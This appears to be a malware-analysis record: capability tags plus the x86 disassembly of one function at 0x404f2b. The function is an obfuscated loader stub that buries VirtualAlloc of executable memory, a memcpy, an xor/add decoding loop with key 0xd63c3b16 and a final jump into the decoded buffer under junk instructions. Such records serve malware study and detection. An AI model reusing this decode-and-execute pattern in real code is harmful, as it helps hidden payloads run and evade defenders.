Function at 0x404f2b
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
mov ecx, 0xb5
add ecx, dword [ebp - 0x28c]
sub ecx, eax
sub dword [ebp - 0x1d4], ecx
or dword [ebp - 0x2a4], ecx
or dword [ebp - 0xa8], ecx
and ecx, 0xf77
or ecx, 0x7a2
add ecx, eax
cmp ecx, dword [ebp - 0x1b4]
jne 0x404f9a
xor eax, eax
or dword [ebp - 0x2bc], eax
sub dword [ebp - 0x10c], 0x206
and eax, dword [ebp - 0x2d8]
and eax, 0x782d
or eax, ecx
cmp ecx, 0xbf
jb 0x404fa0
dec eax
add ecx, eax
or ecx, 0x6a50
sbb ecx, dword [ebp - 0x1b8]
call fcn.004049bc
mov ecx, dword [ebp - 0x290]
add ecx, dword [ebp - 0xec]
and ecx, dword [ebp - 0x1bc]
dec ecx
add dword [ebp - 0xb4], 0xf5
xor dword [ebp - 0x208], ecx
dec dword [ebp - 0x170]
cmp ecx, 0xae
je 0x405005
inc dword [ebp - 0x24c]
and dword [ebp - 0x14c], 0xf73
or ecx, dword [ebp - 0x1fc]
mov edx, 0xb74
sub ecx, edx
or edx, 0xff9
and edx, 0x75c7
sub edx, 0x7dd9
and edx, dword [ebp - 0x178]
mov ecx, 1
and ecx, dword [ebp - 0x224]
add ecx, eax
or dword [ebp - 0x94], 0x5fb8
and dword [ebp - 0x10c], ecx
inc ecx
or ecx, eax
cmp ecx, 0
jbe 0x405059
mov eax, 0x8f
add dword [ebp - 0x100], eax
inc dword [ebp - 0x1b0]
xor eax, ecx
cmp dword [ebp - 0x224], eax
ja 0x405063
adc ecx, dword [ebp - 0x228]
or ecx, dword [ebp - 0xe8]
sub ecx, eax
add dword [ebp - 0x1dc], 0x9bc
inc eax
call fcn.004049bc
mov edx, 0xb1
sub edx, dword [ebp - 0x154]
dec edx
add edx, 0x631d
and edx, ecx
cmp edx, 0
je 0x4050a6
mov ecx, 0x56
or dword [ebp - 0x270], 0x9f5
sbb dword [ebp - 0x180], ecx
dec ecx
cmp dword [ebp - 0x1bc], edx
jbe 0x4050a7
and dword [ebp - 0x25c], ecx
inc edx
add ecx, 0x5913
sub ecx, 0x6d5f
sub ecx, edx
xor ecx, edx
mov edx, dword [ebp - 0x70]
adc edx, dword [ebp - 0x120]
add edx, dword [ebp - 0x174]
sub edx, 0x120
sub dword [ebp - 0x288], 0xcca
and dword [ebp - 0x260], edx
or dword [ebp - 0x244], edx
or edx, 0x13fd
xor edx, ecx
cmp edx, 0xed4
jne 0x40512b
mov ecx, 0xe2
xor dword [ebp - 0x178], 0x9b1
xor dword [ebp - 0xf8], ecx
and dword [ebp - 0x214], ecx
or ecx, edx
xor ecx, 0x3a36
adc ecx, dword [ebp - 0xe0]
sbb ecx, dword [ebp - 0x114]
test ecx, ecx
jbe 0x40513b
add ecx, dword [ebp - 0x270]
sub dword [ebp - 0x22c], 0x967
and dword [ebp - 0xf0], edx
dec ecx
or ecx, 0xf18
call fcn.00404a7a
sub ecx, ecx
and ecx, dword [ebp - 0x21c]
inc ecx
sub dword [ebp - 0x130], 0xce8
and dword [ebp - 0x2c8], ecx
sub ecx, 0x6edc
and ecx, 0x775
cmp dword [ebp - 0x17c], ecx
je 0x405188
mov edx, dword [ebp - 0x100]
add dword [ebp - 0x29c], 0x3ed
test edx, edx
ja 0x405188
xor edx, dword [ebp - 0x234]
push 0xa00
push 3
call dword [sym.imp.MSVCRT.DLL_calloc]
mov dword [ebp - 0x2ac], eax
push 0x401750
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [ebp - 0xc0]
sbb ecx, dword [ebp - 0x1dc]
xor ecx, dword [ebp - 0x178]
or dword [ebp - 0xb8], ecx
or dword [ebp - 0x234], 0x6f7
and dword [ebp - 0xfc], 0x429
or ecx, edx
or ecx, 0x3d86
and ecx, 0x66f4
cmp ecx, 0
je 0x405218
mov edx, 0x8e
adc dword [ebp - 0x8c], edx
add edx, ecx
dec edx
xor edx, dword [ebp - 0x18c]
sbb edx, dword [ebp - 0x168]
sub ecx, 0x323
cmp ecx, 0x7a0
jae 0x405218
or ecx, edx
and ecx, edx
sub esi, 0xffffffff
xor eax, eax
adc eax, dword [ebp - 0x18c]
adc eax, dword [ebp - 0x1a0]
or eax, edi
sub eax, 0x5bb1
dec eax
xor eax, 0x86c
and eax, 0x6ffa
and dword [ebp - 0x26c], eax
adc dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x1b8], eax
jbe 0x405290
mov edi, dword [ebp - 0x16c]
xor dword [ebp - 0x148], 0x522
inc edi
cmp edi, 0xa64
jne 0x405290
xor dword [ebp - 0xc0], 0x4de
inc dword [ebp - 0x29c]
or dword [ebp - 0x28c], 0x3948
inc edi
adc eax, dword [ebp - 0x114]
xor dword [ebp - 0x278], 0xd7e
cmp dword [esi], 0x75ff1075
jne 0x4051b1
dec esi
mov ecx, dword [esi]
mov dword [ebp - 0x50], ecx
push 0x40
push 0x1000
push 0xa000
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov dword [ebp - 0x30], eax
push 0x300
push 2
call dword [sym.imp.MSVCRT.DLL_calloc]
sub edx, edx
or edx, 0x3663
xor dword [ebp - 0x128], edx
xor dword [ebp - 0x1a8], edx
and edx, 0x5152
test edx, edx
jb 0x40532d
xor ecx, ecx
and ecx, 0x263b
sub ecx, 0xdab
xor ecx, edx
add dword [ebp - 0x108], 0x5b32
sub dword [ebp - 0x274], ecx
test ecx, ecx
jne 0x405333
inc ecx
xor dword [ebp - 0xe0], ecx
xor edx, 0x687c
xor edx, ecx
and edx, 0xff6
sub edx, dword [ebp - 0x84]
add edx, dword [ebp - 0x130]
or dword [ebp - 0x228], ecx
mov dword [ebp - 0x22c], ecx
or dword [ebp - 0x88], ecx
sub edx, edx
adc edx, dword [ebp - 0xdc]
sbb edx, dword [ebp - 0x208]
and edx, 0x38a
adc dword [ebp - 0x1c0], edx
and dword [ebp - 0xfc], 0x1480
sub dword [ebp - 0xdc], edx
test edx, edx
jb 0x4053b3
sub ecx, ecx
and dword [ebp - 0x25c], 0x5fd7
adc dword [ebp - 0x274], ecx
sub ecx, edx
and ecx, dword [ebp - 0xcc]
sub ecx, dword [ebp - 0xac]
xor dword [ebp - 0xe0], 0x42fd
mov dword [ebp - 0x138], ecx
test edx, edx
jae 0x4053b3
adc edx, dword [ebp - 0x110]
or edx, dword [ebp - 0x284]
sbb ecx, dword [ebp - 0x13c]
call dword [sym.imp.kernel32.dll_GetLastError]
call dword [sym.imp.kernel32.dll_GetLastError]
sub ecx, ecx
add eax, dword [ebp - 0x10c]
adc dword [ebp - 0x230], ecx
xor dword [ebp - 0x2a4], 0x7a3e
cmp ecx, 0x38
jbe 0x405419
sub eax, ecx
dec eax
add eax, ecx
mov eax, dword [ebp - 0x2c4]
add dword [ebp - 0x70], eax
or dword [ebp - 0x11c], 0x6a
adc dword [ebp - 0x23c], eax
add eax, 0x1878
and eax, 0x2026
add dword [ebp - 0xe4], 0xfdd
add ecx, 0xd41
sub ecx, eax
xor ecx, eax
push 0xa00
push 5
call dword [sym.imp.MSVCRT.DLL_calloc]
xor eax, eax
sbb eax, dword [ebp - 0xd4]
sbb eax, dword [ebp - 0x130]
and eax, ecx
sub dword [ebp - 0x2cc], eax
or eax, ecx
test eax, eax
jne 0x4054ad
mov ecx, 0x26a
or dword [ebp - 0x10c], 0x47
inc dword [ebp - 0x1d8]
add dword [ebp - 0x29c], ecx
and dword [ebp - 0x240], 0x140
and ecx, 0x3f3
or ecx, 0xda8
xor eax, 0x8dc
add dword [ebp - 0x120], 0x48cd
and dword [ebp - 0x19c], 0xdbd
add dword [ebp - 0xdc], 0xdda
add dword [ebp - 0x19c], ecx
or dword [ebp - 0x1b8], ecx
xor ecx, eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x94], eax
xor eax, eax
or dword [ebp - 0xd8], eax
or dword [ebp - 0x1b8], 0xf4b
cmp eax, 0
jb 0x4054ee
mov edx, 0x112
xor dword [ebp - 0xf4], edx
sbb edx, dword [ebp - 0x19c]
sbb edx, dword [ebp - 0x26c]
cmp edx, 0
jbe 0x4054fa
sbb edx, dword [ebp - 0x88]
add edx, dword [ebp - 0x264]
push 0x600
push 2
call dword [sym.imp.MSVCRT.DLL_calloc]
mov dword [ebp - 0x2c4], eax
mov ecx, 0x27e
or ecx, dword [ebp - 0x238]
xor ecx, dword [ebp - 0x198]
inc ecx
or ecx, edx
and ecx, 0x5388
inc dword [ebp - 0x214]
and ecx, edx
xor ecx, edx
cmp ecx, dword [ebp - 0x264]
jae 0x405590
xor dword [ebp - 0x118], edx
or dword [ebp - 0xe0], edx
sub dword [ebp - 0x2b4], edx
inc dword [ebp - 0x290]
sub dword [ebp - 0x88], edx
adc dword [ebp - 0x78], edx
mov edx, dword [ebp - 0x1ac]
inc dword [ebp - 0x194]
add edx, 0xf75
sbb edx, dword [ebp - 0x2c0]
xor ecx, edx
xor ecx, 0x5977
xor edx, 0xc42
sub edx, 0xa47
dec ecx
or ecx, 0x7774
adc dword [ebp - 0x1e0], edx
add dword [ebp - 0x118], 0xfe3
push 0x1045
xor ecx, ecx
xor dword [ebp - 0x16c], 0x6d06
sub dword [ebp - 0x1cc], 0x193a
add ecx, dword [ebp - 0x2d0]
adc ecx, dword [ebp - 0xa4]
inc ecx
add ecx, 0x781
mov dword [ebp - 0x22c], ecx
add dword [ebp - 0x134], ecx
and dword [ebp - 0x2d4], 0x52eb
xor ecx, dword [ebp - 0x1a8]
cmp ecx, 0x5d
jne 0x40562d
mov edx, 0x449
adc dword [ebp - 0x264], edx
or dword [ebp - 0x26c], 0x602
mov dword [ebp - 0xdc], edx
or dword [ebp - 0x2dc], 0x940
xor edx, 0x6fd
or edx, dword [ebp - 0x9c]
inc ecx
adc ecx, dword [ebp - 0x184]
and ecx, dword [ebp - 0x2a0]
add ecx, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x50]
add ecx, 0x12fba20
mov edx, 0x70
or edx, eax
add dword [ebp - 0x98], edx
xor dword [ebp - 0x178], 0x703
xor dword [ebp - 0x140], edx
add edx, 0xfbe
sub edx, 0x19bf
cmp edx, dword [ebp - 0x158]
ja 0x4056ab
sub eax, eax
add dword [ebp - 0x288], 0x688
dec dword [ebp - 0x27c]
add dword [ebp - 0x200], 0x7fa
add eax, edx
or eax, dword [ebp - 0x208]
and eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x140], eax
jbe 0x4056ad
dec dword [ebp - 0x208]
add dword [ebp - 0x2c4], edx
or eax, edx
push ecx
mov esi, dword [ebp - 0x30]
push esi
call dword [sym.imp.MSVCRT.DLL_memcpy]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x1f8], eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x194], eax
call dword [sym.imp.kernel32.dll_GetLastError]
mov eax, 0x52e
xor dword [ebp - 0x11c], 0x222
sub dword [ebp - 0x90], edx
dec dword [ebp - 0x64]
or eax, dword [ebp - 0x1ac]
sbb eax, dword [ebp - 0x130]
sub eax, 0x799
sub dword [ebp - 0x230], eax
add dword [ebp - 0x2b4], eax
add eax, edx
xor eax, edx
add dword [ebp - 0x188], edx
add dword [ebp - 0xac], 0x64e9
and dword [ebp - 0x84], edx
or edx, 0x3d79
xor edx, eax
cmp eax, 0xdf3
ja 0x405774
xor edx, dword [ebp - 0xb0]
xor edx, edx
or dword [ebp - 0x2c8], edx
inc dword [ebp - 0xb0]
add dword [ebp - 0x28c], 0x590
or dword [ebp - 0x218], edx
and edx, 0xd46
or eax, edx
xor eax, 0x21d
and edx, dword [ebp - 0xcc]
sbb dword [ebp - 0x25c], edx
call dword [sym.imp.kernel32.dll_GetACP]
mov edx, 0xebd
and edx, 0x754a
or edx, 0x2ffc
adc edx, dword [ebp - 0xbc]
add edx, dword [ebp - 0x298]
inc dword [ebp - 0x174]
sub dword [ebp - 0x1f0], 0x247
dec dword [ebp - 0x2c8]
add dword [ebp - 0x134], 0x54ee
test edx, edx
ja 0x4057db
xor ecx, ecx
dec dword [ebp - 0xe0]
and ecx, edx
or ecx, edx
add ecx, dword [ebp - 0xc4]
add ecx, dword [ebp - 0x250]
cmp ecx, dword [ebp - 0x224]
je 0x4057db
and edx, dword [ebp - 0x2b8]
and edx, dword [ebp - 0x180]
call dword [sym.imp.kernel32.dll_GetACP]
call dword [sym.imp.kernel32.dll_GetACP]
sub edx, edx
sbb dword [ebp - 0xf4], ecx
sub dword [ebp - 0x1d8], ecx
or edx, dword [ebp - 0x170]
and edx, 0xfb4
adc dword [ebp - 0x100], edx
inc edx
inc ecx
cmp edx, 0
jne 0x405865
and ecx, 0xf1d
dec ecx
xor ecx, 0x52f
sub ecx, ecx
xor dword [ebp - 0x1d0], 0x5159
xor ecx, 0x5234
or ecx, edx
or ecx, dword [ebp - 0x240]
or ecx, dword [ebp - 0x84]
add edx, 0xe9e
and dword [ebp - 0x9c], edx
add edx, dword [ebp - 0x144]
or edx, dword [ebp - 0xd0]
mov dword [ebp - 0x218], edx
add dword [ebp - 0x2b4], edx
sub ecx, edx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x294], eax
xor edx, edx
sbb edx, dword [ebp - 0x114]
xor edx, dword [ebp - 0xa4]
add edx, eax
add edx, 0x5fe
add dword [ebp - 0x234], 0x165
sbb dword [ebp - 0x27c], edx
dec dword [ebp - 0x14c]
xor dword [ebp - 0xa8], edx
add edx, eax
inc edx
cmp edx, 0x351
jbe 0x4058d8
mov eax, 0x79a
add eax, 0x6e1e
add eax, 0x4cb
xor eax, 0x530
cmp eax, 0
jae 0x4058e4
add eax, dword [ebp - 0xa0]
sub edx, dword [ebp - 0xd4]
and edx, dword [ebp - 0x148]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x2cc]
and eax, 0x4772
and eax, 0x1fc8
add dword [ebp - 0x160], 0x6e07
or dword [ebp - 0x148], 0xf27
sub eax, 0x8b2
xor eax, 0x51b
test eax, eax
jbe 0x40595c
xor ecx, ecx
sub dword [ebp - 0x1c0], 0xda5
inc dword [ebp - 0x100]
dec ecx
and ecx, 0x2db4
or ecx, dword [ebp - 0x21c]
add dword [ebp - 0x158], eax
and dword [ebp - 0x218], eax
cmp ecx, 0x5a
jne 0x405964
or dword [ebp - 0x208], ecx
sub ecx, eax
and ecx, 0x897
xor eax, 0x1de
add eax, ecx
call dword [sym.imp.kernel32.dll_GetACP]
mov dword [ebp - 0x26c], eax
mov edx, dword [ebp - 0x94]
and edx, dword [ebp - 0x10c]
xor dword [ebp - 0x98], edx
sbb dword [ebp - 0x1c8], edx
test edx, edx
jae 0x4059e2
sub eax, edx
or eax, dword [ebp - 0x9c]
adc edx, dword [ebp - 0x1f0]
mov eax, 0x31
sub dword [ebp - 0x1a8], eax
dec dword [ebp - 0x1e4]
dec dword [ebp - 0x1b4]
add eax, 0x66ac
sub eax, 0x699b
or edx, 0x37a
or edx, eax
inc dword [ebp - 0xfc]
inc eax
sub eax, edx
sub edx, eax
sub dword [ebp - 0xfc], 0x1b86
sbb dword [ebp - 0xe4], edx
xor dword [ebp - 0x68], 0x4899
mov edx, dword [ebp - 0x30]
mov ecx, 0x1800
mov edi, 0xd63c3b16
mov eax, dword [edx]
xor eax, edi
add eax, edi
xor eax, edi
add eax, edi
xor eax, edi
add eax, edi
mov dword [edx], eax
sub edx, 0xfffffffc
loop 0x4059fc
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x164], eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [ebp - 0x14c], eax
xor edx, edx
and edx, ecx
add edx, dword [ebp - 0x18c]
sub edx, ecx
adc dword [ebp - 0x168], edx
adc dword [ebp - 0x1fc], edx
sub dword [ebp - 0x150], 0x5d6
add ecx, dword [ebp - 0x94]
test edx, edx
jne 0x405a82
sub ecx, edx
xor ecx, edx
mov ecx, 0xac9
or dword [ebp - 0x234], 0xe92
or ecx, dword [ebp - 0x2c8]
adc ecx, dword [ebp - 0x1b8]
sub edx, ecx
and edx, ecx
sub edx, ecx
or edx, 0xb1b
sub ecx, edx
or dword [ebp - 0x274], edx
push 0x900
push 6
call dword [sym.imp.MSVCRT.DLL_calloc]
mov dword [ebp - 0x204], eax
mov eax, 0x64e
sbb ecx, dword [ebp - 0x184]
inc dword [ebp - 0x158]
sub eax, dword [ebp - 0x2a4]
and eax, 0xbf9
dec eax
and eax, ecx
sub dword [ebp - 0x234], 0x2aeb
add dword [ebp - 0x228], 0x164
test eax, eax
ja 0x405b06
sub eax, 0x5a03
add ecx, dword [ebp - 0x2b4]
xor ecx, ecx
or ecx, dword [ebp - 0x94]
and dword [ebp - 0x224], eax
xor dword [ebp - 0x124], 0x40e7
adc dword [ebp - 0x84], eax
inc dword [ebp - 0x294]
adc dword [ebp - 0x2b8], ecx
push 0x500
push 2
call dword [sym.imp.MSVCRT.DLL_calloc]
mov eax, 0x74a
adc eax, dword [ebp - 0x250]
adc eax, dword [ebp - 0x134]
adc ecx, dword [ebp - 0x1e4]
or dword [ebp - 0x8c], eax
or dword [ebp - 0x80], 0xbaf
add dword [ebp - 0x28c], eax
sub eax, ecx
and eax, 0x7c93
xor eax, 0x24f
cmp dword [ebp - 0x2dc], eax
ja 0x405b7b
xor ecx, ecx
or dword [ebp - 0x250], 0x71e2
add ecx, 0x6645
xor ecx, dword [ebp - 0x110]
test eax, eax
ja 0x405b83
sub ecx, 0x252c
and ecx, eax
or ecx, 0x1b2e
xor ecx, eax
dec dword [ebp - 0x27c]
push 0x300
push 5
call dword [sym.imp.MSVCRT.DLL_calloc]
mov dword [ebp - 0xdc], eax
push 0x40177b
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
mov edi, 0x90a
or edi, 0x213
add dword [ebp - 0xf0], edi
or edi, 0x78e
test edi, edi
jb 0x405bf4
sub edx, edx
adc dword [ebp - 0x218], edx
or edx, 0x732e
dec edx
xor edx, dword [ebp - 0x230]
test edx, edx
jne 0x405c0e
or edi, 0x9db
or edi, 0xad9
or dword [ebp - 0x100], 0xed6
or dword [ebp - 0x2d0], 0x7e97
sbb dword [ebp - 0x238], edi
add edi, dword [ebp - 0xc4]
add edi, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x238]
xor dword [ebp - 0x198], 0x159
or dword [ebp - 0x23c], 0x540d
sub dword [ebp - 0x2b0], 0x5abc
and edi, dword [ebp - 0x22c]
xor edi, dword [ebp - 0x98]
sub edi, edx
and dword [ebp - 0x64], 0x92c
or edi, 0xc3b
sub edi, edx
dec dword [ebp - 0x194]
cmp edi, 0x3d
jb 0x405ca9
or edx, edi
and edx, edi
add edx, 0x9f1
mov edx, 0xe38
add dword [ebp - 0x284], edx
or edx, edi
sub edx, edi
or edx, dword [ebp - 0x228]
add edx, dword [ebp - 0x28c]
dec edi
add edi, 0x2cd5
dec edi
or dword [ebp - 0xe4], 0x6dd2
and edx, 0xe7d
add edx, edi
dec edi
sbb dword [ebp - 0x2ac], edx
sbb dword [ebp - 0xec], edx
and dword [ebp - 0x134], 0x648
jmp dword [ebp - 0x30]